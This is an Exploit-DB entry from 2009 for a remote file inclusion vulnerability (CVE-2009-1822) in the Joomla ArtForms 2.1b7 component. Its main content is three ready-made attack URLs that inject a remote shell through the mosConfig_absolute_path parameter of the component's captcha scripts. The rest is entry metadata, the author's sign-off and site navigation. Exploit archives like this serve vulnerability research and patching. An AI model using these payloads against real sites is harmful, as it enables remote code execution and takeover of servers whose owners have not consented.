Joomla! Component ArtForms 2.1 b7 - Remote File Inclusion

EDB-ID:

8697

CVE:

2009-1822

EDB Verified:

Author:

iskorpitx

Type:

webapps

Exploit: /

Platform:

PHP

Date:

2009-05-15

Vulnerable App:

ArtForms 2.1b7 remote file includes
 
From Turkey
iskorpitx (O bir dÃ¼nya markasÄ± Asla Taklit Edilemez)
 
// swfmovie.php - swf output and config
 
/* output captcha image */
 
/* output captcha mp3 */
 
----------------------------------------------------------------------------------
 
[path]/components/com_artforms/assets/captcha/includes/captchaform/imgcaptcha.php?mosConfig_absolute_path=*shell

[path]/components/com_artforms/assets/captcha/includes/captchaform/mp3captcha.php?mosConfig_absolute_path=*shell

[path]/components/com_artforms/assets/captcha/includes/captchatalk/swfmovie.php?mosConfig_absolute_path=*shell
-----------------------------------------------------------------------------------
by iskorpitx
admin@mavi1.org

# milw0rm.com [2009-05-15]

Tags:

Advisory/Source: Link

Databases	Links	Sites	Solutions
Exploits	Search Exploit-DB	OffSec	Courses and Certifications
Google Hacking	Submit Entry	Kali Linux	Learn Subscriptions
Papers	SearchSploit Manual	VulnHub	OffSec Cyber Range
Shellcodes	Exploit Statistics		Proving Grounds
			Penetration Testing Services